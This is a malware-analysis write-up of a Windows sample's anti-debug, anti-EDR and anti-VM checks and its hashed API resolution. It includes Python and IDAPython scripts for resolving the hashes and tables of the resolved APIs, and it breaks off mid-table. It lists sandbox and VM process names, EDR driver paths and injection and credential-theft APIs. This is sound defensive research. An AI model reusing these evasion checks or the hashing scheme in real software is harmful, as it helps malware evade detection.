&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515161322.png&quot; alt=&quot;Pasted image 20260515161322.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515161654.png&quot; alt=&quot;Pasted image 20260515161654.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is Description of this API,
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getversionexa&quot;&gt;GetVersionExA function (sysinfoapi.h)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515162102.png&quot; alt=&quot;Pasted image 20260515162102.png&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Anti-Debug Check&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515164413.png&quot; alt=&quot;Pasted image 20260515164413.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515163526.png&quot; alt=&quot;Pasted image 20260515163526.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is checking the PEB(Process Environment Block) which contains the &lt;code&gt;BeingDebugged&lt;/code&gt; Flag at offset &lt;code&gt;0x02&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Second one is &lt;code&gt;NtGlobalFlag&lt;/code&gt; at offset &lt;code&gt;0x68&lt;/code&gt; which is by default 0 but if debugger attacked then it is non zero.&lt;/li&gt;
&lt;li&gt;More on this, https://anti-debug.checkpoint.com/techniques/debug-flags.html#using-win32-api-ntqueryinformationprocess-processdebugflags&lt;/li&gt;
&lt;li&gt;Understanding The PEB for Reverse Engineers (OALabs 💖): https://www.youtube.com/watch?v=uyisPPTupmA&lt;/li&gt;
&lt;li&gt;Digging into Windows PEB: https://mohamed-fakroud.gitbook.io/red-teamings-dojo/windows-internals/peb&lt;/li&gt;
&lt;li&gt;Diving Into PEB Walk: https://fareedfauzi.github.io/2024/07/13/PEB-Walk.html&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now if PEB walk is there so certainly there will be API resolution so we will explore it,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515164819.png&quot; alt=&quot;Pasted image 20260515164819.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Another Anti-Debug technique is &lt;strong&gt;WOW64 Transition&lt;/strong&gt;,&lt;/li&gt;
&lt;li&gt;It’s an indirect call into WOW64’s internal dispatcher&lt;/li&gt;
&lt;li&gt;It’s a &lt;strong&gt;WOW64 internal dispatcher stub that XOR-decodes a function pointer and calls a hidden system transition routine via &lt;code&gt;FS:[0xC0]&lt;/code&gt;, commonly used for indirect execution and evasion in malware loaders.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;And i checked at runtime in debugger and found that after this function call it raise some exception and program exits.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515170041.png&quot; alt=&quot;Pasted image 20260515170041.png&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Anti-EDR Check&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;This is a Anti-EDR technique in which it is checking where these 2 drivers exits or not, if exit then it will exit,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\\Windows\\System32\\drivers\\klhk.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\\Windows\\System32\\drivers\\klif.sys&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515170459.png&quot; alt=&quot;Pasted image 20260515170459.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515170607.png&quot; alt=&quot;Pasted image 20260515170607.png&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Anti-VM / Sandbox Check&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Anubis / Agent-based sandbox&lt;/li&gt;
&lt;li&gt;Common sandbox agent naming (ANY.RUN + generic analysis agents)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&quot;agent.exe&quot;  
&quot;arunagent&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515170952.png&quot; alt=&quot;Pasted image 20260515170952.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515171021.png&quot; alt=&quot;Pasted image 20260515171021.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ANY.RUN sandbox&lt;/li&gt;
&lt;li&gt;Online interactive malware analysis sandbox&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515171040.png&quot; alt=&quot;Pasted image 20260515171040.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;QEMU virtual machine&lt;/li&gt;
&lt;li&gt;QEMU Guest Agent (very strong VM indicator)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&quot;qemu-ga.exe&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515171101.png&quot; alt=&quot;Pasted image 20260515171101.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VirtualBox&lt;/li&gt;
&lt;li&gt;VirtualBox user-mode tray process&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&quot;vboxtray&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515171130.png&quot; alt=&quot;Pasted image 20260515171130.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So the full detection list is:&lt;/li&gt;
&lt;li&gt;Sandboxes / Analysis environments
&lt;ul&gt;
&lt;li&gt;ANY.RUN sandbox (&lt;code&gt;anyrun&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Analysis agent (&lt;code&gt;agent.exe&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Runtime sandbox agent (&lt;code&gt;arunagent&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Virtualization platforms
&lt;ul&gt;
&lt;li&gt;QEMU VM (&lt;code&gt;qemu-ga.exe&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;VirtualBox (&lt;code&gt;vboxtray&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Runtime API Resolution&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515191927.png&quot; alt=&quot;Pasted image 20260515191927.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515171738.png&quot; alt=&quot;Pasted image 20260515171738.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515171858.png&quot; alt=&quot;Pasted image 20260515171858.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515172247.png&quot; alt=&quot;Pasted image 20260515172247.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So now the upper value which is being pushed to stack, &lt;code&gt;0xFCB67412&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;is our hash so i tried the &lt;code&gt;hashdb&lt;/code&gt; to resolve it but i failed so made my own script using Claude to resolve it,&lt;/li&gt;
&lt;li&gt;This is the working diagram of hashing algorithm,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515172459.png&quot; alt=&quot;Pasted image 20260515172459.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is my script,&lt;/li&gt;
&lt;li&gt;It will first parse all the important DLLs and its APIs and make a hash table of it, then we can simply match the target hash and get the API,&lt;/li&gt;
&lt;li&gt;It will load the hashes.txt file which has all hashes,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

# ============================================================
# Malware API Hash Resolver
# ============================================================
#
# Usage:
#   python3 resolve_hashes.py hashes.txt
#
# hashes.txt:
#   0xFCB67412
#   0x12345678
#
# Environment:
#   WSL + Windows DLLs from:
#       /mnt/c/Windows/System32
#
# ============================================================

import os
import sys
import pefile

SYSTEM32 = &quot;/mnt/c/Windows/System32&quot;

# ------------------------------------------------------------
# DLLs to parse
# ------------------------------------------------------------

COMMON_DLLS = [
    &quot;kernel32.dll&quot;,
    &quot;kernelbase.dll&quot;,
    &quot;ntdll.dll&quot;,
    &quot;advapi32.dll&quot;,
    &quot;user32.dll&quot;,
    &quot;gdi32.dll&quot;,
    &quot;ws2_32.dll&quot;,
    &quot;wininet.dll&quot;,
    &quot;urlmon.dll&quot;,
    &quot;shell32.dll&quot;,
    &quot;ole32.dll&quot;,
    &quot;combase.dll&quot;,
    &quot;crypt32.dll&quot;,
    &quot;iphlpapi.dll&quot;,
    &quot;shlwapi.dll&quot;,
    &quot;psapi.dll&quot;,
    &quot;sechost.dll&quot;,
    &quot;bcrypt.dll&quot;,
    &quot;rpcrt4.dll&quot;,
    &quot;winhttp.dll&quot;,
    &quot;setupapi.dll&quot;,
    &quot;netapi32.dll&quot;,
    &quot;dnsapi.dll&quot;,
    &quot;wtsapi32.dll&quot;,
    &quot;oleaut32.dll&quot;,
    &quot;userenv.dll&quot;,
    &quot;dbghelp.dll&quot;,
    &quot;comdlg32.dll&quot;,
    &quot;uxtheme.dll&quot;,
]
# ------------------------------------------------------------
# ROTL32
# ------------------------------------------------------------

def rol32(value, bits):

    bits &amp;amp;= 31

    if bits == 0:
        return value &amp;amp; 0xFFFFFFFF

    return ((value &amp;lt;&amp;lt; bits) | (value &amp;gt;&amp;gt; (32 - bits))) &amp;amp; 0xFFFFFFFF


# ------------------------------------------------------------
# Malware hash algorithm
# ------------------------------------------------------------

def mw_hash(s):

    s = s.encode(errors=&quot;ignore&quot;)

    length = len(s)

    if length:

        edx = 0x75A887A5

        for i, c in enumerate(s):

            # lowercase conversion
            if 0x41 &amp;lt;= c &amp;lt;= 0x5A:
                c += 0x20

            ebx = ((c &amp;lt;&amp;lt; 16) | c) &amp;amp; 0xFFFFFFFF

            eax = rol32(0x86679E7F, i)
            eax ^= ebx

            eax = (eax * 0xCEDEB46B) &amp;amp; 0xFFFFFFFF
            eax = rol32(eax, 8)

            eax = (eax * 0x9228D003) &amp;amp; 0xFFFFFFFF

            eax ^= edx

            eax = rol32(eax, 16)

            eax = (eax * 0xC10609A7) &amp;amp; 0xFFFFFFFF

            eax = (eax + 0x86679E7F) &amp;amp; 0xFFFFFFFF

            edx = eax ^ (eax &amp;gt;&amp;gt; 15)

    else:
        edx = 0x75A887A5

    edx ^= length

    eax = edx ^ (edx &amp;gt;&amp;gt; 16)
    eax = (eax * 0xC0A4F1EB) &amp;amp; 0xFFFFFFFF

    ecx = eax ^ (eax &amp;gt;&amp;gt; 13)

    eax = (ecx * 0x8DAA4A67) &amp;amp; 0xFFFFFFFF

    ecx = eax ^ (eax &amp;gt;&amp;gt; 16)

    ecx = (ecx * 0xCEDEB46B) &amp;amp; 0xFFFFFFFF

    eax = ecx ^ (ecx &amp;gt;&amp;gt; 15)

    return eax &amp;amp; 0xFFFFFFFF


# ------------------------------------------------------------
# Build export database
# ------------------------------------------------------------

def build_db():

    db = {}

    print(&quot;[*] Parsing DLL exports...\n&quot;)

    for dll in COMMON_DLLS:

        dll_path = os.path.join(SYSTEM32, dll)

        if not os.path.exists(dll_path):
            print(f&quot;[-] Missing: {dll}&quot;)
            continue

        print(f&quot;[+] {dll}&quot;)

        try:

            pe = pefile.PE(dll_path)

            if not hasattr(pe, &quot;DIRECTORY_ENTRY_EXPORT&quot;):
                continue

            for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:

                if not exp.name:
                    continue

                try:
                    api = exp.name.decode(errors=&quot;ignore&quot;)
                except:
                    continue

                h = mw_hash(api)

                if h not in db:
                    db[h] = []

                db[h].append(f&quot;{dll}!{api}&quot;)

        except Exception as e:

            print(f&quot;    ERROR: {e}&quot;)

    return db


# ------------------------------------------------------------
# Load hashes from file
# ------------------------------------------------------------

def load_hashes(path):

    hashes = []

    with open(path, &quot;r&quot;) as f:

        for line in f:

            line = line.strip()

            if not line:
                continue

            try:
                hashes.append(int(line, 16))

            except:
                print(f&quot;[-] Invalid hash: {line}&quot;)

    return hashes


# ------------------------------------------------------------
# Main
# ------------------------------------------------------------

def main():

    if len(sys.argv) != 2:
        print(f&quot;Usage: {sys.argv[0]} hashes.txt&quot;)
        return

    hashes_file = sys.argv[1]

    hashes = load_hashes(hashes_file)

    print(f&quot;[+] Loaded {len(hashes)} hashes\n&quot;)

    db = build_db()

    print(&quot;\n================ RESULTS ================\n&quot;)

    found = 0

    for h in hashes:

        print(f&quot;0x{h:08X}&quot;)

        if h in db:

            found += 1

            for api in db[h]:
                print(f&quot;    -&amp;gt; {api}&quot;)

        else:
            print(&quot;    -&amp;gt; NOT FOUND&quot;)

        print()

    print(&quot;=========================================&quot;)
    print(f&quot;[+] Resolved: {found}/{len(hashes)}&quot;)
    print(&quot;=========================================&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;But first we need to get all the hashes so for that i used IDAPython scripting to get all the hashes with simple logic, which is that copy the &lt;code&gt;upper 3rd argument&lt;/code&gt; of &lt;code&gt;call mw_api_resolver&lt;/code&gt; and it should be &lt;code&gt;push &amp;lt;hex value&amp;gt;&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;Here is script which will pull all the hashed which are fits in this pattern,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import idautils, idaapi, idc, os

TARGET  = &quot;mw_api_resolver&quot;
OUTFILE = os.path.join(os.path.dirname(idaapi.get_input_file_path()), &quot;hashes.txt&quot;)

def is_push_imm(ea):
    return idc.print_insn_mnem(ea).lower() == &quot;push&quot; and \
           idc.get_operand_type(ea, 0) == idaapi.o_imm

def find_hash(call_ea):
    ea, pushes = idc.prev_head(call_ea), 0
    for _ in range(12):
        if ea == idc.BADADDR: break
        if idc.print_insn_mnem(ea).lower() == &quot;push&quot;:
            pushes += 1
            if pushes == 2:
                return (idc.get_operand_value(ea, 0) &amp;amp; 0xFFFFFFFF) if is_push_imm(ea) else None
        ea = idc.prev_head(ea)
    return None

target_ea = idc.get_name_ea_simple(TARGET)
if target_ea == idc.BADADDR:
    print(f&quot;[-] &apos;{TARGET}&apos; not found — check label name&quot;)
else:
    hits, misses = [], []
    for xref in idautils.CodeRefsTo(target_ea, False):
        h = find_hash(xref)
        (hits if h else misses).append((xref, h))

    print(f&quot;\n{&apos;─&apos;*45}&quot;)
    for ea, h in hits:
        print(f&quot;  0x{ea:08X}  →  0x{h:08X}&quot;)
    print(f&quot;{&apos;─&apos;*45}&quot;)
    print(f&quot;  Resolved : {len(hits)}   |   Skipped : {len(misses)}&quot;)
    print(f&quot;{&apos;─&apos;*45}\n&quot;)

    if hits:
        with open(OUTFILE, &quot;w&quot;) as f:
            f.writelines(f&quot;0x{h:08X}\n&quot; for _, h in hits)
        print(f&quot;[+] Saved → {OUTFILE}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515175113.png&quot; alt=&quot;Pasted image 20260515175113.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After some cleaning, It extracted almost &lt;code&gt;94/114&lt;/code&gt; APIs which is not that good, i know but this is more simpler way to do this,&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Anti-Debug / Anti-Sandbox / Sleep Logic&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;DLL&lt;/th&gt;
&lt;th&gt;Why malware uses it&lt;/th&gt;
&lt;th&gt;Malicious purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetTickCount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32 / kernelbase&lt;/td&gt;
&lt;td&gt;Retrieves system uptime in ms&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;timing checks&lt;/strong&gt;, delays, and anti-debug (detect stepping / sandbox acceleration)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;IsWindowVisible&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;user32.dll&lt;/td&gt;
&lt;td&gt;Checks window visibility state&lt;/td&gt;
&lt;td&gt;Detects &lt;strong&gt;user interaction vs hidden execution (sandbox UI artifacts)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;Process Injection / Execution Control&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;As i said in PEStudio Stage that it has process injection and it is proved here,&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;DLL&lt;/th&gt;
&lt;th&gt;Why malware uses it&lt;/th&gt;
&lt;th&gt;Malicious purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateProcessA/W&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32/kernelbase&lt;/td&gt;
&lt;td&gt;Creates new processes&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;payload execution, LOLBins chaining, or injection target creation&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtSetInformationThread&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ntdll&lt;/td&gt;
&lt;td&gt;Modifies thread behavior&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;hiding threads (ThreadHideFromDebugger)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtQueryInformationProcess&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ntdll&lt;/td&gt;
&lt;td&gt;Retrieves process metadata&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;debugger detection / process enumeration stealth checks&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtQueueApcThread&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ntdll&lt;/td&gt;
&lt;td&gt;Queues async procedure call&lt;/td&gt;
&lt;td&gt;Classic &lt;strong&gt;APC injection technique&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RtlCreateUserThread&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ntdll&lt;/td&gt;
&lt;td&gt;Creates remote thread&lt;/td&gt;
&lt;td&gt;Used in &lt;strong&gt;process injection / reflective loaders&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;InitializeProcThreadAttributeList&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Thread attribute setup&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;PPID spoofing / stealth process creation&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UpdateProcThreadAttribute&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Modifies attributes&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;parent process spoofing / injection stealth&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;DLL Loading / Dynamic Resolution&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;DLL&lt;/th&gt;
&lt;th&gt;Why malware uses it&lt;/th&gt;
&lt;th&gt;Malicious purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LdrLoadDll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ntdll&lt;/td&gt;
&lt;td&gt;Low-level DLL loader&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;manual module loading, hiding imports&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;Crypto / Credential Access&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;DLL&lt;/th&gt;
&lt;th&gt;Why malware uses it&lt;/th&gt;
&lt;th&gt;Malicious purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CryptUnprotectData&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;crypt32.dll&lt;/td&gt;
&lt;td&gt;DPAPI decryption&lt;/td&gt;
&lt;td&gt;Used to steal &lt;strong&gt;saved browser passwords / cookies / credentials&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;System Information / Fingerprinting&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;DLL&lt;/th&gt;
&lt;th&gt;Why malware uses it&lt;/th&gt;
&lt;th&gt;Malicious purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetSystemMetrics&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;user32.dll&lt;/td&gt;
&lt;td&gt;System UI properties&lt;/td&gt;
&lt;td&gt;Detects &lt;strong&gt;VM/sandbox display configs&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EnumDisplayDevicesA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;user32.dll&lt;/td&gt;
&lt;td&gt;Display enumeration&lt;/td&gt;
&lt;td&gt;VM detection (virtual GPU / fake monitor detection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetSystemWow64DirectoryA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Checks OS architecture&lt;/td&gt;
&lt;td&gt;Detects &lt;strong&gt;32/64-bit environment&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetVolumeInformationW&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Disk serial / FS info&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;machine fingerprinting&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetAdaptersAddresses&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;iphlpapi.dll&lt;/td&gt;
&lt;td&gt;Network adapter info&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;network fingerprinting / sandbox detection&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LCIDToLocaleName&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Locale detection&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;geolocation / VM region detection&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;Memory Management / Obfuscation Support&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;DLL&lt;/th&gt;
&lt;th&gt;Why malware uses it&lt;/th&gt;
&lt;th&gt;Malicious purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GlobalAlloc / GlobalFree&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Heap allocation&lt;/td&gt;
&lt;td&gt;Used in &lt;strong&gt;payload staging / unpacking&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GlobalLock / Unlock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Memory locking&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;staged shellcode handling&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GlobalSize&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Memory size check&lt;/td&gt;
&lt;td&gt;Used in &lt;strong&gt;buffer manipulation&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LocalFree&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Memory cleanup&lt;/td&gt;
&lt;td&gt;Used in &lt;strong&gt;anti-analysis cleanup&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WriteFile&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;File I/O&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;dropping payloads or pipes&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreatePipe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Anonymous pipes&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;process chaining / C2 staging&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetHandleInformation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;kernel32&lt;/td&gt;
&lt;td&gt;Handle control&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;anti-inheritance / stealth IPC&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;Screen / Keylogging / Surveillance&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;DLL&lt;/th&gt;
&lt;th&gt;Why malware uses it&lt;/th&gt;
&lt;th&gt;Malicious purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetDC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;user32&lt;/td&gt;
&lt;td&gt;Device context capture&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;screen capture&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ReleaseDC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;user32&lt;/td&gt;
&lt;td&gt;Release DC&lt;/td&gt;
&lt;td&gt;cleanup for capture routines&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BitBlt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;gdi32&lt;/td&gt;
&lt;td&gt;Screen copy&lt;/td&gt;
&lt;td&gt;Classic &lt;strong&gt;screen scraping / spyware capture&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
